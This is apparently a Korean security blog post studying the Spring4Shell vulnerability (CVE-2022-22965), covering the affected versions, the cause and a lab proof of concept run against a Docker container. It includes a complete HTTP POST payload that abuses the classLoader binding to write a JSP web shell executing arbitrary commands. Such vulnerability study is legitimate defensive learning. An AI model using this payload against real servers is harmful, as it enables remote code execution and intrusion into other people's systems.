
최근 Log4shell에 이어서 Spring 프레임워크를 사용하는 서브에서 RCE 취약점이 발견되어서 화제가 되었다.
log4j의 이름을 따와서 Spring4shell, SpringShell 등 이라고 불리는 듯함
CVE 코드는 2022-22965이고 RCE 취약점이기 때문에 점수가 높다 (CVSS 9.8점)
근데 해외 포럼을 참조한 결과 코드가 실행되기 까지는 조건이 좀 까다로운 편이라고 한다.
1. 조건
- JDK 9 버전 이상
- 서블릿 컨테이너로 사용되는 톰캣
- Spring-Framework(스프링 프레임워크) 버전 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 및 이전 버전
- Spring Boot(스프링부트)에서 디폴트로 실행되는 Jar가 아닌 war 패키지 여야함
- Spring-Webmvc 또는 Spring-Webflux 사용
까다로운 조건들이 있기에 로그포쉘 만큼의 파급력은 없는 듯 하다.
2. 원인
아무튼 이 RCE 취약점은 스프링 프레임워크가 Spring-Webmvc 또는 Spring-Webflux 사용할 때 getCachedIntrospectionResults 라는 메소드가 어떤 임의의 매개변수를 바인딩할 때 객체를 잘못바인딩하면서 클래스가 노출되기도 하고 RCE가 발생한다고 한다.
3. PoC Test
취약한 서버 구동
docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29

도커 내부 살피기
올라와있는 도커 내부에는 hyotwo라는 파일은 1개도 없는 것을 볼 수 있다.

어차피 취약한 서버니 바로 Exploit

코드를 조금 보기 편하게 대충 줄바꿈함
2010년에 스프링 프레임워크에서 발견된 취약점이 Class.classLoader를 사용하여 발생했다고 한다.
이번 JDK 9 버전 이상에서 우회 방법으로 이런 코드가 작성되었다고 함
일반적인 jsp 쉘코드에 ClassLoader를 이용한다
pwd 파라미터값을 정해주고 jsp 파일을 webapps/ROOT라는 경로에 생성
POST / HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded suffix: %>// c1: Runtime c2: <% DNT: 1 Content-Length: 760 class.module.classLoader.resources.context.parent.pipeline.first.pattern= %25%7Bc2%7Di%20if(%22ht%22.equals(request.getParameter(%22pwd%22)))%7B%20 java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter (%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20- 1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while ((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b)) %3B%20%7D%20%7D%20%25%7Bsuffix %7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix= .jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory =webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix =hyotwo&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
공격 실행 후 다시 도커 내부를 살펴보니 hyotwo.jsp 가 생성된것을 볼 수 있다.

이 생성된 웹쉘 jsp 를 실행함으로 끝

'CVE Study' 카테고리의 다른 글
[Apache Struts] CVE-2017-5638 아파치 스트럿츠2 RCE 취약점 (0) | 2022.04.28 |
---|---|
[Apache Tomcat] CVE-2021-44228 (log4j,log4shell) Part 2 (0) | 2022.03.17 |
[Apache Tomcat] CVE-2021-44228 (log4j,log4shell) (0) | 2022.02.15 |
[Apache Tomcat] CVE-2020-9484 (세션 역직렬화) (0) | 2022.02.03 |